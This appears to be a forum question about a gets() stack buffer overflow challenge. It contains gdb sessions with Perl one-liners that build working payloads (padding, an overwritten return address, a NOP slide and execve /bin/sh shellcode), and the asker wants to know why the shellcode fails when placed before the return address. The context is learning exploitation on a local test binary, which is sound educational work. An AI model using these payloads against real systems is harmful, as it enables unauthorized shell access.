I am trying to solve a simple gets() buffer overflow challenge.
(gdb) run < <(perl -e 'print "A"x71 . "BBBB"')
Starting program: /tmp/test01 < <(perl -e 'print "A"x71 . "BBBB"')
Breakpoint 1, 0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x41414154 0x41414141 0x41414141 0x41414141
0xffffd584: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd594: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5a4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5b4: 0x41414141 0x41414141 0x42424242 0x00000000
0xffffd5c4: 0xffffd654 0xffffd65c 0x00000000 0x00000000
0xffffd5d4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
0xffffd5e4: 0x00000000 0x00000001 0xf7fc5000 0x00000000
0xffffd5f4: 0x17afc61c 0x2d40ca0c 0x00000000 0x00000000
0xffffd604: 0x00000000 0x00000001 0x08048350 0x00000000
0xffffd614: 0xf7fee710 0xf7e2a199 0xf7ffd000 0x00000001
0xffffd624: 0x08048350 0x00000000 0x08048371 0x0804844b
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
In the first approach I put the shellcode after the ret value at the end of a NOP slide. This approach is successful. In my second approach I put the shellcode (same as in first test) before the ret but also at the end of a NOP slide. This approach fails.
I would like to understand what is causing the different behaviour.
Successful attempt 1:
(gdb) run < <(perl -e 'print "A"x71 . "\xd0\xd5\xff\xff" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
Starting program: /tmp/test01 < <(perl -e 'print "A"x71 . "\xd0\xd5\xff\xff" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
Breakpoint 1, 0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x41414154 0x41414141 0x41414141 0x41414141
0xffffd584: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd594: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5a4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5b4: 0x41414141 0x41414141 0xffffd5d0 0x90909090
0xffffd5c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5e4: 0x90909090 0x90909090 0x90909090 0xc0319090
0xffffd5f4: 0x2f2f6850 0x2f686873 0x896e6962 0x895350e3
0xffffd604: 0xb0c289e1 0x0080cd0b 0x08048350 0x00000000
0xffffd614: 0xf7fee710 0xf7e2a199 0xf7ffd000 0x00000001
0xffffd624: 0x08048350 0x00000000 0x08048371 0x0804844b
(gdb) c
Continuing.
process 11598 is executing new program: /bin/dash
Failed attempt 2:
(gdb) run < <(perl -e 'print "\x90"x40 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x6 . "\x80\xd5\xff\xff"')
Starting program: /tmp/test01 < <(perl -e 'print "\x90"x40 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x6 . "\x80\xd5\xff\xff"')
Breakpoint 1, 0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x90909054 0x90909090 0x90909090 0x90909090
0xffffd584: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd594: 0x90909090 0x90909090 0x50c03190 0x732f2f68
0xffffd5a4: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0c289
0xffffd5b4: 0x909080cd 0x90909090 0xffffd580 0x00000000
0xffffd5c4: 0xffffd654 0xffffd65c 0x00000000 0x00000000
0xffffd5d4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
0xffffd5e4: 0x00000000 0x00000001 0xf7fc5000 0x00000000
0xffffd5f4: 0x0ca610c5 0x36491cd5 0x00000000 0x00000000
0xffffd604: 0x00000000 0x00000001 0x08048350 0x00000000
0xffffd614: 0xf7fee710 0xf7e2a199 0xf7ffd000 0x00000001
0xffffd624: 0x08048350 0x00000000 0x08048371 0x0804844b
(gdb) c
Continuing.
Program received signal SIGILL, Illegal instruction.
0xffffd5ae in ?? ()
If I slightly adjust the position of the shellcode I get a SIGSEV instead of a SIGILL:
(gdb) run < <(perl -e 'print "\x90"x37 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x9 . "\x80\xd5\xff\xff"')
Starting program: /tmp/temp01 < <(perl -e 'print "\x90"x37 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x9 . "\x80\xd5\xff\xff"')
Password: Authentication failure.
Sorry.
Breakpoint 1, 0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x90909054 0x90909090 0x90909090 0x90909090
0xffffd584: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd594: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873
0xffffd5a4: 0x896e6962 0x895350e3 0xb0c289e1 0x9080cd0b
0xffffd5b4: 0x90909090 0x90909090 0xffffd580 0x00000000
0xffffd5c4: 0xffffd654 0xffffd65c 0x00000000 0x00000000
0xffffd5d4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
0xffffd5e4: 0x00000000 0x00000001 0xf7fc5000 0x00000000
0xffffd5f4: 0xb97731b9 0x83983da9 0x00000000 0x00000000
0xffffd604: 0x00000000 0x00000001 0x08048350 0x00000000
0xffffd614: 0xf7fee710 0xf7e2a199 0xf7ffd000 0x00000001
0xffffd624: 0x08048350 0x00000000 0x08048371 0x0804844b
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xffffd5ab in ?? ()
Why does the second approach not also result in a successful exploitation but rather a SIGILL or SIGSEGV?
UPDATE 01: After further testing, my assumption now is that in the failed attempts, following code in the program or even the shellcode itself?! is affecting my shellcode on the stack. If I use only a short NOP slide and have the shellcode placed right at the beginning, my tests are also successful.
(gdb) run < <(perl -e 'print "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x36 . "\x78\xd5\xff\xff"')
User contributions licensed under CC BY-SA 3.0